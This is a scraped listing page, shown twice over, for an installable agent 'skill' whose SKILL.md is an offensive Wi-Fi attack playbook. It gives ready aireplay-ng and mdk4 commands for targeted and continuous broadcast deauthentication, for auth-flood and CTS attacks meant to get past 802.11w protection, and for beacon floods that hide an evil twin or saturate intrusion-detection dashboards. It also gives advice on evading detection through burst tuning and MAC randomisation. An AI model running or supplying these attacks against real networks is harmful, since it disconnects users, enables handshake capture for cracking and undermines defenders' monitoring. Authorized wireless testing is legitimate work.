offensive-deauth-disassoc

Name: offensive-deauth-disassoc
Author: SnailSploit

2.8kstars447forks

How to install offensive-deauth-disassoc?

snailsploit/claude-red/offensive-deauth-disassoc

$npx -y skills add SnailSploit/Claude-Red --skill offensive-deauth-disassoc

Installs into the current project.

Summary

Deauthentication and disassociation attacks against 802.11 networks — targeted single-client deauth for handshake capture, broadcast deauth for DoS (with authorization), action-frame attacks bypassing 802.11w (PMF), beacon flooding, mdk4 / aireplay-ng tooling, and rate-limit / PM

Files · 1

View on GitHub

SKILL.md

1	# Deauth / Disassoc Attacks
2
3	The most-used 802.11 management-frame attack: send a forged deauthentication or disassociation frame as the AP, and the client disconnects. Modern PMF (802.11w) authenticates these frames cryptographically — but most consumer and many enterprise deployments still don't require PMF.
4
5	## Quick Workflow
6
7	1. Identify target client + AP (BSSID, channel)
8	2. Pick deauth scope: single client (quiet) vs. broadcast (loud, DoS)
9	3. Verify PMF status — if required, classic deauth fails; pivot to action-frame attacks
10	4. Send the deauth burst at the right rate
11
12	---
13
14	## Single-Client Deauth (Preferred)
15
16	Used to force handshake capture, push client to evil twin, or test reconnection behavior.
17
18	```bash
19	sudo aireplay-ng --deauth 5 \
20	-a AA:BB:CC:DD:EE:FF \ # AP BSSID
21	-c 11:22:33:44:55:66 \ # client MAC
22	wlan0mon
23	```
24
25	- `--deauth 5` sends 5 deauths (10 frames — 5 to AP, 5 to client). 3–10 is usually enough.
26	- More than 30 in a burst is unnecessarily noisy.
27
28	## Broadcast Deauth (DoS, Use Sparingly)
29
30	```bash
31	# Single AP, all clients
32	sudo aireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF wlan0mon
33	# --deauth 0 = continuous
34
35	# Multiple APs from a list
36	sudo mdk4 wlan0mon d -B target_bssids.txt -c 1,6,11
37	```
38
39	Only with explicit authorization. Continuous broadcast deauth is a clear DoS signal and trips most WIPS within seconds.
40
41	## PMF (802.11w) Awareness
42
43	PMF authenticates deauth/disassoc frames. Status visible in beacon RSN capabilities:
44
45	```bash
46	sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>
47	# PMF column: Required / Capable / Off
48	```
49
50	\| PMF Status \| Deauth Effect \|
51	\|---\|---\|
52	\| Off \| Classic deauth works \|
53	\| Capable (optional) \| Works against clients without PMF, fails against PMF-enabled clients \|
54	\| Required \| Classic deauth ignored — must use action-frame attacks \|
55
56	## Action-Frame Attacks Against PMF
57
58	PMF protects deauth/disassoc but doesn't always protect all action frames. Specific action types remain exploitable:
59
60	```bash
61	# mdk4 multi-tool attacks
62	sudo mdk4 wlan0mon a -a <BSSID> # auth attack: floods auth frames, AP eventually disconnects clients
63	sudo mdk4 wlan0mon m -t <BSSID> # CTS frame attack — abuse virtual carrier sense
64	sudo mdk4 wlan0mon w -t <BSSID> # WPA-Enterprise: SAE auth flood
65	```
66
67	Action frames the IEEE 802.11 spec marks as "may be unprotected" include some block-ack and channel-switch announcements — implementation-specific exploitation paths exist but require chipset-specific testing.
68
69	## Beacon Flooding
70
71	Confuse clients (and WIPS) by flooding fake beacons:
72
73	```bash
74	sudo mdk4 wlan0mon b -f beacon_essids.txt -c 6 -s 100
75	# Floods 100 beacons/sec for ESSIDs in the file
76	```
77
78	Use cases:
79	- Hide your evil twin among noise
80	- Stress-test client roaming logic
81	- DoS WIPS dashboards (flood with thousands of fake APs)
82
83	## Rate Tuning and Detection
84
85	\| Burst \| Defender Signal \|
86	\|---\|---\|
87	\| 3–10 deauth, single client \| Often misclassified as roaming or RF noise \|
88	\| >30 deauth/sec from one source \| WIPS rule trips \|
89	\| Continuous broadcast deauth \| Clear DoS — alert + ticket within minutes \|
90	\| Beacon flood >50/sec \| Saturates WIPS dashboards \|
91
92	Randomize source MAC across burst-and-pause cycles to spread the signal.
93
94	## Engagement Cheatsheet
95
96	```bash
97	# 1. Recon — note PMF status per target
98	sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>
99
100	# 2. Single-client deauth for handshake capture
101	sudo aireplay-ng --deauth 3 -a <BSSID> -c <client> wlan0mon
102
103	# 3. PMF blocking? Try action-frame attacks
104	sudo mdk4 wlan0mon a -a <BSSID>
105
106	# 4. DoS scenario (authorized)
107	sudo aireplay-ng --deauth 0 -a <BSSID> wlan0mon
108	```
109
110	## Reporting
111
112	Document for each test:
113
114	- Target BSSID + ESSID + PMF status
115	- Burst size, duration
116	- Effect observed (client reconnected? handshake captured? DoS achieved?)
117	- Detection signals defender would have seen
118
119	---
120
121	## Key References
122
123	- aireplay-ng documentation
124	- mdk4: github.com/aircrack-ng/mdk4
125	- IEEE 802.11w-2009 (PMF spec, now folded into 802.11-2020)
126	- "Why MAC Address Randomization Doesn't Work" — research on action-frame leakage
127	- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md

People who liked this also viewed

6 picks

Type

offensive-deauth-disassoc

2.8kstars447forks

View on GitHub

How to install offensive-deauth-disassoc?

snailsploit/claude-red/offensive-deauth-disassoc

$npx -y skills add SnailSploit/Claude-Red --skill offensive-deauth-disassoc

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# Deauth / Disassoc Attacks
2
3	The most-used 802.11 management-frame attack: send a forged deauthentication or disassociation frame as the AP, and the client disconnects. Modern PMF (802.11w) authenticates these frames cryptographically — but most consumer and many enterprise deployments still don't require PMF.
4
5	## Quick Workflow
6
7	1. Identify target client + AP (BSSID, channel)
8	2. Pick deauth scope: single client (quiet) vs. broadcast (loud, DoS)
9	3. Verify PMF status — if required, classic deauth fails; pivot to action-frame attacks
10	4. Send the deauth burst at the right rate
11
12	---
13
14	## Single-Client Deauth (Preferred)
15
16	Used to force handshake capture, push client to evil twin, or test reconnection behavior.
17
18	```bash
19	sudo aireplay-ng --deauth 5 \
20	-a AA:BB:CC:DD:EE:FF \ # AP BSSID
21	-c 11:22:33:44:55:66 \ # client MAC
22	wlan0mon
23	```
24
25	- `--deauth 5` sends 5 deauths (10 frames — 5 to AP, 5 to client). 3–10 is usually enough.
26	- More than 30 in a burst is unnecessarily noisy.
27
28	## Broadcast Deauth (DoS, Use Sparingly)
29
30	```bash
31	# Single AP, all clients
32	sudo aireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF wlan0mon
33	# --deauth 0 = continuous
34
35	# Multiple APs from a list
36	sudo mdk4 wlan0mon d -B target_bssids.txt -c 1,6,11
37	```
38
39	Only with explicit authorization. Continuous broadcast deauth is a clear DoS signal and trips most WIPS within seconds.
40
41	## PMF (802.11w) Awareness
42
43	PMF authenticates deauth/disassoc frames. Status visible in beacon RSN capabilities:
44
45	```bash
46	sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>
47	# PMF column: Required / Capable / Off
48	```
49
50	\| PMF Status \| Deauth Effect \|
51	\|---\|---\|
52	\| Off \| Classic deauth works \|
53	\| Capable (optional) \| Works against clients without PMF, fails against PMF-enabled clients \|
54	\| Required \| Classic deauth ignored — must use action-frame attacks \|
55
56	## Action-Frame Attacks Against PMF
57
58	PMF protects deauth/disassoc but doesn't always protect all action frames. Specific action types remain exploitable:
59
60	```bash
61	# mdk4 multi-tool attacks
62	sudo mdk4 wlan0mon a -a <BSSID> # auth attack: floods auth frames, AP eventually disconnects clients
63	sudo mdk4 wlan0mon m -t <BSSID> # CTS frame attack — abuse virtual carrier sense
64	sudo mdk4 wlan0mon w -t <BSSID> # WPA-Enterprise: SAE auth flood
65	```
66
67	Action frames the IEEE 802.11 spec marks as "may be unprotected" include some block-ack and channel-switch announcements — implementation-specific exploitation paths exist but require chipset-specific testing.
68
69	## Beacon Flooding
70
71	Confuse clients (and WIPS) by flooding fake beacons:
72
73	```bash
74	sudo mdk4 wlan0mon b -f beacon_essids.txt -c 6 -s 100
75	# Floods 100 beacons/sec for ESSIDs in the file
76	```
77
78	Use cases:
79	- Hide your evil twin among noise
80	- Stress-test client roaming logic
81	- DoS WIPS dashboards (flood with thousands of fake APs)
82
83	## Rate Tuning and Detection
84
85	\| Burst \| Defender Signal \|
86	\|---\|---\|
87	\| 3–10 deauth, single client \| Often misclassified as roaming or RF noise \|
88	\| >30 deauth/sec from one source \| WIPS rule trips \|
89	\| Continuous broadcast deauth \| Clear DoS — alert + ticket within minutes \|
90	\| Beacon flood >50/sec \| Saturates WIPS dashboards \|
91
92	Randomize source MAC across burst-and-pause cycles to spread the signal.
93
94	## Engagement Cheatsheet
95
96	```bash
97	# 1. Recon — note PMF status per target
98	sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>
99
100	# 2. Single-client deauth for handshake capture
101	sudo aireplay-ng --deauth 3 -a <BSSID> -c <client> wlan0mon
102
103	# 3. PMF blocking? Try action-frame attacks
104	sudo mdk4 wlan0mon a -a <BSSID>
105
106	# 4. DoS scenario (authorized)
107	sudo aireplay-ng --deauth 0 -a <BSSID> wlan0mon
108	```
109
110	## Reporting
111
112	Document for each test:
113
114	- Target BSSID + ESSID + PMF status
115	- Burst size, duration
116	- Effect observed (client reconnected? handshake captured? DoS achieved?)
117	- Detection signals defender would have seen
118
119	---
120
121	## Key References
122
123	- aireplay-ng documentation
124	- mdk4: github.com/aircrack-ng/mdk4
125	- IEEE 802.11w-2009 (PMF spec, now folded into 802.11-2020)
126	- "Why MAC Address Randomization Doesn't Work" — research on action-frame leakage
127	- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md

People who liked this also viewed

6 picks

Type